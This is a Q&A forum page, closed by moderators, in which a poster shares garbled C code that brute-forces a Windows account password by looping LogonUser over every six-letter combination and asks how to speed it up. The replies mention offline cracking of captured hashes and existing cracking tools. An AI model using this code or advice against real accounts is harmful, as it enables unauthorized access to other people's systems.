Information Security Stack Exchange is a question and answer site for information security professionals. It's 100% free, no registration required.

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

I've been trying to figure out a way to efficiently bruteforce on Windows, but the method I currently have isn't very efficient. I did some profiling and found out that on average it can go through 274,080 attempts per minute, which would amount to a worst case scenario of 18 hours to crack one 6 character password with no special characters. Is there a way to attack more efficiently than this?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

#define WIN_32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0501
#include <windows.h>

#define USERNAME "Johnny"
#define LENGTH 6
#define MINIMUM 'a'
#define MAXIMUM 'z'

double NumberOfPermuationsOfString( int length, char minimum, char maximum )
    return pow( ( maximum - minimum ) + 1, length );

FORCEINLINE int NextPermutation( char ** buffer, const size_t length, char minimum, char maximum )
    int i = 0;

    for ( i = length - 1; i >= 0; --i )
        if ( ( *buffer )[i] != maximum )
            ++( *buffer )[i];
            return 1;
            ( *buffer )[i] = minimum;

    return 0;

int Bruteforce( char ** buffer, const size_t length, char minimum, char maximum )
    size_t result = FALSE;
    size_t i = 0;

    timerMod( TIMER_START );

        result = LogonUser( USERNAME, ".", *buffer, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &htoken );
    while ( !result && NextPermutation( buffer, length, MINIMUM, MAXIMUM ) );

    if ( !result ) return 0;

    CloseHandle( htoken );
    return 1;

int main( )
    char * buffer = malloc( LENGTH + 1 );

    if ( !buffer )
        showStandardError( "Allocating memory", TRUE );

    memset( buffer, 0, LENGTH + 1 );
    memset( buffer, MINIMUM, LENGTH );

    printf( "Bruteforcing with %0.lf password permuations...\n", NumberOfPermuationsOfString( LENGTH, MINIMUM, MAXIMUM ) );

    if ( Bruteforce( &buffer, LENGTH, MINIMUM, MAXIMUM ) )
        printf( "Success! Password : %s\n", buffer );
        return 0;
        return 1;

    return 0;
share|improve this question

closed as off-topic by Philipp, TildalWave, Adi, Eric G, Xander Apr 19 '14 at 17:49

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – Philipp, TildalWave, Adi, Eric G, Xander
If this question can be reworded to fit the rules in the help center, please edit the question.

Is this educational or practical (ie, do you want to figure out how to improve YOUR code or do you want to efficiently brute-force passwords on Windows)? – KnightOfNi Apr 19 '14 at 2:22

It looks like you're performing an "online" attack, in which case the speed at which you can work is limited by how fast your target computer is willing to respond to login attempts. Since your code isn't (or at least, shouldn't be) the limiting factor, there's nothing you can do to speed up the attack.

If you can acquire the password hashes, you can perform an "offline" attack, in which case the speed with which you can try passwords is limited only by how much computing power you're able to use for the job.

share|improve this answer

Are you trying to brute force the windows system password or 3rd party software password?

If your are cracking over the network, try using a faster network speed might help. Or use those existing brute force software.

share|improve this answer

Not the answer you're looking for? Browse other questions tagged or ask your own question.